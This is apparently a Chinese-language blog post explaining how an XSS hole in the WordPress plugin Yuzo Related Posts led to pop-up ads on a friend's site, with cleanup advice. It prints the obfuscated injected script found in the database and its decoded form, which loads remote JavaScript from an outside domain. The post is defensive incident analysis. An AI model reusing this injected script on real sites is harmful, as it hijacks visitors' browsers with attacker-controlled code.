WordPress點擊滑鼠就跳出廣告,罪魁禍首是Yuzo – Related Posts

Remove this plugin immediately.

日前朋友網誌突然不斷跳出廣告,點擊任何地方都會彈出 getalinkandshare.com的 視窗。由於掃了整個網站沒查到問題,所以嘗試一一停用外掛,沒想到停用到Yuzo – Related Posts時,問題就解決了……

一點進外掛的wordpress頁面,就看到作者在四月時請大家馬上刪除這個外掛:「Remove this plugin immediately.

建議

1.立刻將這個外掛刪除/解除安裝。
2.進到wordpress資料庫中的wp_options表單,找到 yuzo_related_post_options 並刪除整筆紀錄。
3.不需要刪除用來紀錄訪問的wp_yuzoviews表單,此次問題不影響。

雖然作者說「Soon I will send an improved version of Yuzo for all users.」,但兩個月過去了……作者打算直接從 5.12.90 跳到6.0。我覺得與其發這種聲明,應該盡快發一版更新,即便是閹割掉相關功能也比擺著讓大家被攻擊好吧!

Wordfence說明外掛漏洞

Wordfence在今年4月10日發表了一篇文章,說Yuzo Related Posts外掛有六萬以上的網站安裝,但三月底已從wordpress外掛頁面移除,因為他們被公佈了 cross-site scripting (XSS) 的漏洞。

這次會有漏洞被攻擊,是因為他們使用is_admin()作為判斷管理者的方式,但官方文件中是用來判斷使用者是否在admin資料夾的檔案中。所以即便使用者沒有登入管理員,只要網址經過admin資料夾底下的文件觸發該外掛,就可以被外掛當成管理員,進而進行相關操作。

以 Yuzo Related Posts 為例,可以透過「/wp-admin/options-general.php」、「/wp-admin/admin-post.php 」進行攻擊,塞入JavaScript語法。

正如作者以及Wordfence說的,資料庫中被安插了一段JavaScript語法。以我朋友的網站為例,可以在 wp_options表單的yuzo_related_post_options中,看到一段值如下。

s:31:"yuzo_related_post_css_and_style";s:997:"</style><script type=text/javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 45, 109, 105, 110, 105, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>";

那段數字轉換為utf後,已經跟最早發現的語法不同了,如下。

var script = document.createElement('script'); script.onload = function() { }; script.src = "https://yourservice.live/javascript-mini.js"; document.getElementsByTagName('head')[0].appendChild(script);

背後的故事

IThome在事發後發了一篇文章,講述整起事件的過程。

有資安人員在Plugin Vulnerabilities平台上公佈了Social Warfare、 Yuzo Related Posts與Yellow Pencil Visual Theme Customizer這三個外掛程式的XSS漏洞,目的是為了抗議Wordpress上常常有管理者隱瞞安全性漏洞,甚至為了推廣其他安全服務而故意不通知開發者,所以他們以直接攻擊表達抗議。

研究人員是故意不遵循責任揭露

這看起來很像是Plugin Vulnerabilities平台與WordPress支援論壇之間的恩怨而引發的,前者不僅是以WordPress打造,更定位為專門對抗WordPress外掛程式漏洞的服務,明顯也是WordPress粉絲,但不論如何都已危及眾多WordPress網站的安全。

處理方式

刪掉外掛,並依照作者建議刪除資料庫中的 yuzo_related_post_options表單,應該是最保險的作法。

Wordfence會阻擋XSS攻擊,若有安裝 Wordfence 的話,應該是可以避開這個漏洞的攻擊,但不怕一萬只怕萬一,不想賭的話,還是先徹下Yuzo – Related Posts吧。

碎碎念

之前用了很久的Yet Another Related Posts Plugin (YARPP),但因為久未更新而改用 Yuzo – Related Posts 。這次的事件讓我發現 YARPP 重出江湖啦!

有空再來重裝 YARPP ,yeah~

參考文章

如果您喜歡這篇文章的話,歡迎點擊下方按鈕為我拍手五下~

回饋由LikeCoin基金會出資,您只要註冊/登入帳(FB、Google帳號皆可)即可拍手贊助。

我不敢看自己寫的東西

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *